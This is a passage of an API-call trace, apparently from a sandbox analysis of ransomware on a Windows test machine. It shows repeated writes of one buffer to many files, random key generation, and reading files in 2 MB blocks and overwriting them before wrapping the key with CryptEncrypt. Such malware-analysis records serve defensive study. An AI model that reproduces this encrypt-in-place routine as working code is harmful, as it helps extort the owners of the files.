lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.433] CloseHandle (hObject=0x954) returned 1 [0155.438] WriteFile (in: hFile=0x954, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.439] CloseHandle (hObject=0x954) returned 1 [0155.439] WriteFile (in: hFile=0x954, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.441] CloseHandle (hObject=0x954) returned 1 [0155.442] WriteFile (in: hFile=0x954, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.443] CloseHandle (hObject=0x954) returned 1 [0155.444] WriteFile (in: hFile=0x954, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.446] CloseHandle (hObject=0x954) returned 1 [0155.446] WriteFile (in: hFile=0x954, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.447] CloseHandle (hObject=0x954) returned 1 [0155.447] WriteFile (in: hFile=0x954, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.448] CloseHandle (hObject=0x954) returned 1 [0155.449] WriteFile (in: hFile=0x954, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.450] CloseHandle (hObject=0x954) returned 1 [0155.452] WriteFile (in: hFile=0x958, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.453] CloseHandle (hObject=0x958) returned 1 [0155.454] WriteFile (in: hFile=0x958, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.455] CloseHandle (hObject=0x958) returned 1 [0155.456] WriteFile (in: hFile=0x958, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.457] CloseHandle (hObject=0x958) returned 1 [0155.458] WriteFile (in: hFile=0x958, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.459] CloseHandle (hObject=0x958) returned 1 [0155.459] WriteFile (in: hFile=0x958, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.460] CloseHandle (hObject=0x958) returned 1 [0155.461] WriteFile (in: hFile=0x958, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.462] CloseHandle (hObject=0x958) returned 1 [0155.463] WriteFile (in: hFile=0x958, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.464] CloseHandle (hObject=0x958) returned 1 [0155.464] WriteFile (in: hFile=0x958, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.465] CloseHandle (hObject=0x958) returned 1 [0155.468] WriteFile (in: hFile=0x95c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.469] CloseHandle (hObject=0x95c) returned 1 [0155.469] WriteFile (in: hFile=0x95c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.470] CloseHandle (hObject=0x95c) returned 1 [0155.472] WriteFile (in: hFile=0x95c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.473] CloseHandle (hObject=0x95c) returned 1 [0155.473] WriteFile (in: hFile=0x95c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.474] CloseHandle (hObject=0x95c) returned 1 [0155.475] WriteFile (in: hFile=0x95c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.476] CloseHandle (hObject=0x95c) returned 1 [0155.478] WriteFile (in: hFile=0x95c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.479] CloseHandle (hObject=0x95c) returned 1 [0155.481] WriteFile (in: hFile=0x95c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.482] CloseHandle (hObject=0x95c) returned 1 [0155.482] WriteFile (in: hFile=0x95c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.484] CloseHandle (hObject=0x95c) returned 1 [0155.495] WriteFile (in: hFile=0x960, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.497] CloseHandle (hObject=0x960) returned 1 [0155.498] WriteFile (in: hFile=0x960, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.499] CloseHandle (hObject=0x960) returned 1 [0155.502] WriteFile (in: hFile=0x960, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.503] CloseHandle (hObject=0x960) returned 1 [0155.504] WriteFile (in: hFile=0x960, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.505] CloseHandle (hObject=0x960) returned 1 [0155.505] WriteFile (in: hFile=0x960, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.506] CloseHandle (hObject=0x960) returned 1 [0155.508] WriteFile (in: hFile=0x960, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.509] CloseHandle (hObject=0x960) returned 1 [0155.510] WriteFile (in: hFile=0x960, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.511] CloseHandle (hObject=0x960) returned 1 [0155.512] WriteFile (in: hFile=0x960, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.513] CloseHandle (hObject=0x960) returned 1 [0155.515] WriteFile (in: hFile=0x964, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.516] CloseHandle (hObject=0x964) returned 1 [0155.516] WriteFile (in: hFile=0x964, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.517] CloseHandle (hObject=0x964) returned 1 [0155.519] WriteFile (in: hFile=0x964, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.520] CloseHandle (hObject=0x964) returned 1 [0155.520] WriteFile (in: hFile=0x964, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.521] CloseHandle (hObject=0x964) returned 1 [0155.522] WriteFile (in: hFile=0x964, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.524] CloseHandle (hObject=0x964) returned 1 [0155.525] WriteFile (in: hFile=0x964, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.526] CloseHandle (hObject=0x964) returned 1 [0155.528] WriteFile (in: hFile=0x964, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.529] CloseHandle (hObject=0x964) returned 1 [0155.529] WriteFile (in: hFile=0x964, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.530] CloseHandle (hObject=0x964) returned 1 [0155.531] WriteFile (in: hFile=0x968, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.532] CloseHandle (hObject=0x968) returned 1 [0155.533] WriteFile (in: hFile=0x968, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.534] CloseHandle (hObject=0x968) returned 1 [0155.535] WriteFile (in: hFile=0x968, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.536] CloseHandle (hObject=0x968) returned 1 [0155.536] WriteFile (in: hFile=0x968, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.538] CloseHandle (hObject=0x968) returned 1 [0155.538] WriteFile (in: hFile=0x968, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.539] CloseHandle (hObject=0x968) returned 1 [0155.540] WriteFile (in: hFile=0x968, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.542] CloseHandle (hObject=0x968) returned 1 [0155.542] WriteFile (in: hFile=0x968, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.543] CloseHandle (hObject=0x968) returned 1 [0155.544] WriteFile (in: hFile=0x96c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.545] CloseHandle (hObject=0x96c) returned 1 [0155.545] WriteFile (in: hFile=0x96c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.546] CloseHandle (hObject=0x96c) returned 1 [0155.547] WriteFile (in: hFile=0x96c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.548] CloseHandle (hObject=0x96c) returned 1 [0155.549] WriteFile (in: hFile=0x96c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.550] CloseHandle (hObject=0x96c) returned 1 [0155.550] WriteFile (in: hFile=0x96c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.551] CloseHandle (hObject=0x96c) returned 1 [0155.553] WriteFile (in: hFile=0x96c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.554] CloseHandle (hObject=0x96c) returned 1 [0155.555] WriteFile (in: hFile=0x96c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.555] CloseHandle (hObject=0x96c) returned 1 [0155.556] WriteFile (in: hFile=0x96c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.557] CloseHandle (hObject=0x96c) returned 1 [0155.557] WriteFile (in: hFile=0x970, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.561] CloseHandle (hObject=0x970) returned 1 [0155.562] WriteFile (in: hFile=0x970, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.563] CloseHandle (hObject=0x970) returned 1 [0155.563] WriteFile (in: hFile=0x970, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.564] CloseHandle (hObject=0x970) returned 1 [0155.567] WriteFile (in: hFile=0x970, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.568] CloseHandle (hObject=0x970) returned 1 [0155.569] WriteFile (in: hFile=0x970, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.569] CloseHandle (hObject=0x970) returned 1 [0155.571] WriteFile (in: hFile=0x970, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.572] CloseHandle (hObject=0x970) returned 1 [0155.572] WriteFile (in: hFile=0x970, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.573] CloseHandle (hObject=0x970) returned 1 [0155.574] WriteFile (in: hFile=0x970, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.575] CloseHandle (hObject=0x970) returned 1 [0155.575] WriteFile (in: hFile=0x974, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.576] CloseHandle (hObject=0x974) returned 1 [0155.577] WriteFile (in: hFile=0x974, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.578] CloseHandle (hObject=0x974) returned 1 [0155.578] WriteFile (in: hFile=0x974, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.579] CloseHandle (hObject=0x974) returned 1 [0155.580] WriteFile (in: hFile=0x974, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.580] CloseHandle (hObject=0x974) returned 1 [0155.581] WriteFile (in: hFile=0x974, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.582] CloseHandle (hObject=0x974) returned 1 [0155.583] WriteFile (in: hFile=0x974, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.584] CloseHandle (hObject=0x974) returned 1 [0155.585] WriteFile (in: hFile=0x974, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.586] CloseHandle (hObject=0x974) returned 1 [0155.586] WriteFile (in: hFile=0x974, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.587] CloseHandle (hObject=0x974) returned 1 [0155.589] WriteFile (in: hFile=0x978, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.590] CloseHandle (hObject=0x978) returned 1 [0155.590] WriteFile (in: hFile=0x97c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.591] CloseHandle (hObject=0x97c) returned 1 [0155.598] WriteFile (in: hFile=0x97c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.599] CloseHandle (hObject=0x97c) returned 1 [0155.600] WriteFile (in: hFile=0x97c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.601] CloseHandle (hObject=0x97c) returned 1 [0155.601] WriteFile (in: hFile=0x97c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.602] CloseHandle (hObject=0x97c) returned 1 [0155.603] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0155.603] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3418 | out: pbBuffer=0x5c3418) returned 1 [0155.603] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.jfm", dwFileAttributes=0x80) returned 1 [0155.603] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3cf0 | out: pbBuffer=0x5c3cf0) returned 1 [0155.603] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0155.603] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb", dwFileAttributes=0x80) returned 1 [0155.604] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0155.604] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3548 | out: pbBuffer=0x5c3548) returned 1 [0155.604] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\EDBtmp.log", dwFileAttributes=0x80) returned 1 [0155.612] ReadFile (in: hFile=0x980, lpBuffer=0x312b020, nNumberOfBytesToRead=0x200000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312b020*, lpNumberOfBytesRead=0x2e1f9bc*=0x200000, lpOverlapped=0x0) returned 1 [0155.707] SetFilePointer (in: hFile=0x980, lDistanceToMove=-2097152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.707] WriteFile (in: hFile=0x980, lpBuffer=0x3335020*, nNumberOfBytesToWrite=0x200000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3335020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x200000, lpOverlapped=0x0) returned 1 [0155.731] SetFilePointer (in: hFile=0x980, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x200000 [0155.731] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0155.731] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0155.732] WriteFile (in: hFile=0x980, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, 